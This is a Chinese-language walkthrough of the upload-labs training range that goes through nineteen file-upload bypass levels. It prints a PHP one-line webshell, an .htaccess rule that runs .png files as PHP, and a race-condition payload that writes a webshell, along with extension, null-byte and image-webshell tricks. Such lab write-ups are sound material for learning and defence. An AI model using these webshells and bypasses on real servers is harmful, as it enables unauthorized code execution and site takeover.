Bootstrap

upload-labs靶场通关

前提准备

一句话木马的文件,我这里是1.php

<?php @eval($_POST[cmd]); ?>

第一关--Pass-01

这里我们先进入第一关,直接上传1.php文件

此时页面回显不允许上传,但是页面并未加载,说明是在前端进行审核的,我们打开F12查看页面源代码

这里我们发现页面中存在checkFile()函数用于检查文件类型,我们手动删除后再次上传

上传成功,直接用蚁剑等工具进行连接

第二关--Pass-02

查看页面源代码我们得知文件上传的类型需要为图片类型,我们继续上传1.php用bp抓包进行更改

抓包得到这个请求包,我们将类型改为图片类型选择放行

这里我们选择放行

上传成功

第三关--Pass-03

第三关对我们的源码进行了很多限制,这时我们可以将1.php文件重命名为同源文件1.php3进行上传

上传成功

第四关--Pass-04

这一关对我们的名称后缀也进行了限制,但是由于其他后缀的文件无法解析php文件,我们就要采用htaccess文件

写一个.htaccess文件并上传

AddType application/x-httpd-php .png
//可以用php的解析器解析后缀是png的文件

这时我们只要将1.php的后缀改为png依旧可以用php进行解析

上传成功

第五关--Pass-05

这里我们发现本关不会大写转小写,因此可以将1.php进行大写更改上传1.Php

上传成功

第六关--Pass-06

第六关关闭了首尾去空的限制,我们就可以上传文件时抓包,在文件名后添加一个空格并放行

这里我们添加一个空格选择放行

上传成功

第七关--Pass-07

第七关不会删除文件名末尾的点,因此我们只需要将第六关的空格改成点即可成功上传

第八关--Pass-08

第八关去掉了字符流::$DATA,和前两关一样抓包在文件末尾添加::$DATA

第九关--Pass-09

第九关我们存在所有的限制,但是我们可以采用点空格点来绕过上传,只需要在文件名后添加点空格点即可

第十关--Pass-10

第十关会删除我们后缀中的php,因此我们可以改后缀为pphphp,这样重复写,检测到我们存在php删除后,余下字母依旧会组成php后缀(遵循从前往后的原则)

第十一关--Pass-11

本关采用的是GET型%00,因为环境问题,我们将在ctfhub中进行此关

我们将文件上传后进行抓包

http请求包内容如上,我们在上方加入%00进行隔断,并将文件后缀进行更改

放行

上传成功,可以进行连接了

第十二关--Pass-12

本关采用的是POST型的%00,和11关一样,只需要将%00写在post请求包中

第十三关--Pass-13

这里提示我们使用图片马进行访问

图片马就是将含有php一句话木马的图片文件上传到服务器中,采用文件包含漏洞进行访问

这里我们已经做好了图片马,直接进行上传并连接

这里我们成功连接

第十四关--Pass-14

同13

第十五关--Pass-15

同13

第十六关--Pass-16

二次渲染+文件包含同13

第十七关--Pass-17

第十七关会上传成功,但是成功后会检测文件是否符合规定,不符合规定的文件将被删除

因此我们可以利用php文件读写来爆破攻击

代码如下

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

由于会删除我们上传的文件,我们可以一直爆破上传并访问上传的1.php文件来生成webshell.php文件

此时我们已经创建好了webshell.php文件

可以看到我们已经成功的过关

第十八关--Pass-18

同16和13

第十九关--Pass-19

第19关文件存在命名规范,我们选择上传1.php文件,将他命名为1.php.(这里是个点),即可上传成功

;